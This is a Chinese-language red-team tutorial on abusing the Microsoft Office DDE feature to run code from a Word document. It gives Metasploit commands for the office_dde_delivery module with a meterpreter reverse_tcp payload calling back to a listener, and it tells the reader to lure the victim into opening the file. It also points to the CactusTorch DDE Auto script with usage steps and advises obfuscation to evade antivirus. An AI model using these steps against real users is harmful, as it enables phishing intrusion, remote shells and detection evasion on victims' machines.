2017年10月SensePost发布了一篇文章并在其中解释了如何在不使用任何宏或脚本的情况下从Microsoft Word文档中执行任意代码,SensePost描述的技术是利用合法的Microsoft Office功能,该功能称为DDE(动态数据交换),DDE旨在允许Microsoft办公应用程序之间传输数据,由于此技术不会使用电子邮件网关可以检测到的恶意宏感染Word文档,因此可以实现与远程代码执行相同的结果,这种攻击非常有效且被广泛用于恶意软件活动和红队评估
MSF框架中提供了对DDE漏洞的利用模块,我们可以直接使用该模块生成有效载荷并将其投放给受害者用户诱导其点击运行
msf6 > use exploit/windows/fileformat/office_dde_delivery
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/office_dde_delivery) > show options
msf6 exploit(windows/fileformat/office_dde_delivery) > set SRVHOST 192.168.204.135
SRVHOST => 192.168.204.135
msf6 exploit(windows/fileformat/office_dde_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/office_dde_delivery) > set LHOST 192.168.204.135
LHOST => 192.168.204.135
msf6 exploit(windows/fileformat/office_dde_delivery) > show options
诱导目标用户打开文件
随后返回一个meterpreter会话
操作会话执行命令:
William Genovese开发了一个名为CactusTorch DDE Auto的bash脚本,它利用CactusTorch工具生成有效负载并利用Metasploit框架配置来接收连接的侦听器
项目地址:https://github.com/xillwillx/CACTUSTORCH_DDEAUTO
使用方法:
chmod +x cactus.sh
./cactus.sh
CactusTorch DDE Auto可以生成JS、VBS和HTA格式的有效载荷
构造word文档
随后我们便可以收到会话
切换进入session执行各类命令:
本篇文章主要介绍了DDE以及其漏洞的利用方式和思路,在进行红队安全评估时我们可以通过DDE来实施社工钓鱼等方式进行利用,不过值得一提的是目前很多的防病毒公司正在尝试检测DDE攻击,因此对于构建具有更高可能性逃避检测并在网络中建立初始足迹的有效载荷而言,混淆是必要的